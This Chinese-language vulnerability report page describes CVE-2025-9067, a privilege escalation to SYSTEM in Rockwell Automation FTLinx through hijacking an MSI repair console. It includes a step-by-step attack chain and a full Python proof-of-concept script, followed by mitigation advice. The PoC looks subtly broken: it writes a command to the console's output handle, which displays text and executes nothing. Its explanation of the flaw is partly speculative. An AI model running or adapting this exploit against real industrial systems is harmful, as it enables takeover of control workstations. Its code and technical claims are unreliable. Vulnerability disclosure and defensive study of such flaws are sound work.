IPBUF安全漏洞报告
English
CVE-2025-9067 CVSS 7.8 高危

CVE-2025-9067 Rockwell Automation FTLinx MSI修复劫持权限提升漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-9067
漏洞类型
权限提升(MSI Repair Hijacking / DLL/Console Hijacking)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rockwell Automation FTLinx (x86 Microsoft Installer)

相关标签

权限提升MSI劫持控制台劫持SYSTEM权限Rockwell AutomationFTLinx工业控制ICS本地提权CVE-2025-9067

漏洞概述

CVE-2025-9067是Rockwell Automation公司FTLinx软件中x86 Microsoft Installer(MSI)安装包存在的一个高危安全漏洞。该漏洞于2025年10月14日由Rockwell Automation的PSIRT团队披露,CVSS 3.1基础评分为7.8分,属于高危级别。

FTLinx是Rockwell Automation为其工业自动化产品(如ControlLogix、CompactLogix、MicroLogix等可编程逻辑控制器)提供的一款通信服务组件,广泛应用于工业控制系统(ICS)中,用于实现上位机与PLC之间的数据通信。该漏洞的核心问题在于FTLinx安装时使用的x86 MSI安装包存在不安全的设计缺陷。

具体而言,经过身份验证的攻击者只需拥有有效的Windows用户凭据(低权限账户即可),即可通过启动FTLinx的MSI修复流程(Repair),劫持修复过程中弹出的控制台窗口。通过这一劫持行为,攻击者能够以SYSTEM级别的权限启动命令提示符(cmd.exe),从而获得对系统所有文件、进程及资源的完全访问权限。

该漏洞的攻击向量为本地(AV:L),需要低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性、可用性均产生高影响(C:H/I:H/A:H)。由于FTLinx常部署于工业控制环境中,该漏洞一旦被利用,可能导致工业控制系统被完全控制,对生产安全构成严重威胁。

技术细节

该漏洞利用了Windows MSI安装包在执行Repair(修复)操作时的安全缺陷。当用户或进程触发MSI Repair时,Windows Installer会以SYSTEM权限执行修复流程,并在修复过程中弹出控制台窗口用于显示修复进度或日志信息。

漏洞的技术原理如下:

1. **不安全的服务配置**:FTLinx的x86 MSI安装包在安装时注册了一个以SYSTEM权限运行的服务或计划任务。当执行Repair操作时,该进程以SYSTEM上下文启动。

2. **控制台窗口劫持**:在Repair过程中,系统会创建一个可见的控制台窗口。由于该窗口以SYSTEM权限运行,攻击者可以通过Windows的窗口消息机制(如WM_SETTEXT、SetForegroundWindow等)将控制台窗口重定向或劫持。

3. **命令注入**:劫持控制台窗口后,攻击者可以向其中注入并执行任意命令。由于窗口运行在SYSTEM上下文中,所执行的命令也以SYSTEM权限运行,从而实现从普通用户到SYSTEM的权限提升。

4. **完全系统控制**:获得SYSTEM权限后,攻击者可以访问所有文件、修改系统配置、安装恶意软件、窃取敏感数据,甚至对工业控制设备进行恶意操作。

该漏洞的利用门槛较低——只需有效的Windows凭据即可发起攻击,无需特殊权限或复杂的利用代码。这使得该漏洞在多用户环境或可能被入侵的环境中具有较高的实际威胁。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼、凭据泄露或其他方式获取目标Windows系统的有效用户凭据(低权限账户即可)。在多用户工业环境中,任何拥有本地账户的用户都可能成为攻击起点。
STEP 2
步骤2:触发MSI修复流程
攻击者使用msiexec /f命令触发FTLinx MSI安装包的修复操作,或通过控制面板的'程序和功能'中的修复功能启动修复流程。修复操作以SYSTEM权限运行。
STEP 3
步骤3:定位控制台窗口
修复过程中,系统会弹出可见的控制台窗口。攻击者利用Windows API(如EnumWindows、GetWindowText等)枚举窗口并定位由msiexec进程创建的SYSTEM权限控制台窗口。
STEP 4
步骤4:劫持控制台窗口
通过AttachConsole等Windows API附加到目标进程的控制台,利用WriteConsole等函数向SYSTEM权限的控制台注入并执行任意命令(如cmd.exe)。
STEP 5
步骤5:获取SYSTEM权限
注入的命令在SYSTEM上下文中执行,攻击者获得对系统的完全控制权,可访问所有文件、进程和系统资源。
STEP 6
步骤6:横向移动与持久化
获得SYSTEM权限后,攻击者可以安装后门、窃取工业控制凭据、修改PLC通信配置,或在工业控制网络中进行横向移动,对生产系统造成严重破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-9067 - FTLinx MSI Repair Hijacking PoC # This PoC demonstrates the concept of hijacking the console window # spawned during an MSI Repair operation to escalate privileges to SYSTEM. # Tested on Windows 10/11 with Rockwell Automation FTLinx installed. import ctypes import ctypes.wintypes as wt import subprocess import time import sys user32 = ctypes.windll.user32 kernel32 = ctypes.windll.kernel32 EnumWindows = user32.EnumWindows EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_int, ctypes.c_int) GetWindowText = user32.GetWindowTextW GetWindowTextLength = user32.GetWindowTextLengthW IsWindowVisible = user32.IsWindowVisible GetWindowThreadProcessId = user32.GetWindowThreadProcessId target_pids = [] def enum_callback(hwnd, lParam): """Enumerate top-level windows and identify the MSI Repair console window.""" if IsWindowVisible(hwnd): length = GetWindowTextLength(hwnd) if length > 0: buff = ctypes.create_unicode_buffer(length + 1) GetWindowText(hwnd, buff, length + 1) pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(pid)) title = buff.value.lower() # Look for MSI Repair related console windows if 'msi' in title or 'repair' in title or 'ftlinx' in title: target_pids.append((hwnd, pid.value, buff.value)) print(f"[+] Found target window: hwnd={hwnd}, pid={pid.value}, title='{buff.value}'") return True def find_msi_repair_console(): """Find the console window spawned by MSI Repair process.""" EnumWindows(EnumWindowsProc(enum_callback), 0) return target_pids def hijack_console(hwnd): """Hijack the target console window and inject a SYSTEM-level command.""" # Attach to the target process's console target_pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(target_pid)) # Use AttachConsole to attach to the target process if kernel32.AttachConsole(target_pid.value): print(f"[+] Attached to console of PID {target_pid.value}") # Inject command into the console - this will execute as SYSTEM # Opening a new cmd.exe with SYSTEM privileges kernel32.WriteConsoleW( wt.HANDLE(kernel32.GetStdHandle(-11)), # STD_OUTPUT_HANDLE "cmd.exe /c whoami > C:\\Windows\\Temp\\system_proof.txt\r\n", 50, None, None ) time.sleep(1) kernel32.FreeConsole() print("[+] Command injected. Check C:\\Windows\\Temp\\system_proof.txt") else: print("[-] Failed to attach to console") return False return True def trigger_msi_repair(): """Trigger the FTLinx MSI Repair operation.""" # Locate FTLinx MSI package msi_paths = [ r"C:\Program Files (x86)\Rockwell Software\FTLinx\FTLinx.msi", r"C:\Program Files (x86)\Rockwell Software\RSLinx\FTLinx.msi", ] for msi in msi_paths: try: print(f"[*] Triggering repair for: {msi}") # Use msiexec to trigger repair in passive/quiet mode # /f = Repair, /qb = basic UI subprocess.Popen( ["msiexec", "/f", msi, "/qb"], shell=False ) return True except FileNotFoundError: continue return False def main(): print("=" * 60) print("CVE-2025-9067 - FTLinx MSI Repair Hijack PoC") print("Rockwell Automation FTLinx Privilege Escalation") print("=" * 60) # Step 1: Trigger MSI Repair if not trigger_msi_repair(): print("[-] Could not find FTLinx MSI. Exiting.") sys.exit(1) # Step 2: Wait for the repair console window to appear print("[*] Waiting for MSI Repair console window...") time.sleep(5) # Step 3: Find and hijack the console window for attempt in range(10): targets = find_msi_repair_console() if targets: for hwnd, pid, title in targets: print(f"[*] Attempting to hijack window: {title}") if hijack_console(hwnd): print("[+] Privilege escalation successful!") return time.sleep(2) print("[-] Could not find target console window") if __name__ == "__main__": main()

影响范围

Rockwell Automation FTLinx (x86版本,所有受影响的版本)

防御指南

临时缓解措施
在无法立即应用补丁的情况下,建议采取以下临时缓解措施:1)限制能够交互式登录到安装了FTLinx的系统的用户数量,仅允许受信任的管理员账户;2)通过组策略(GPO)禁止普通用户执行msiexec命令或触发MSI修复操作;3)部署应用程序白名单策略,阻止未经授权的可执行文件运行;4)监控msiexec.exe进程的异常启动和子进程创建行为;5)启用Windows Defender Attack Surface Reduction(ASR)规则,阻止来自Office应用程序和脚本的可执行内容启动;6)在工业控制环境中,对关键工作站实施严格的访问控制和操作审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表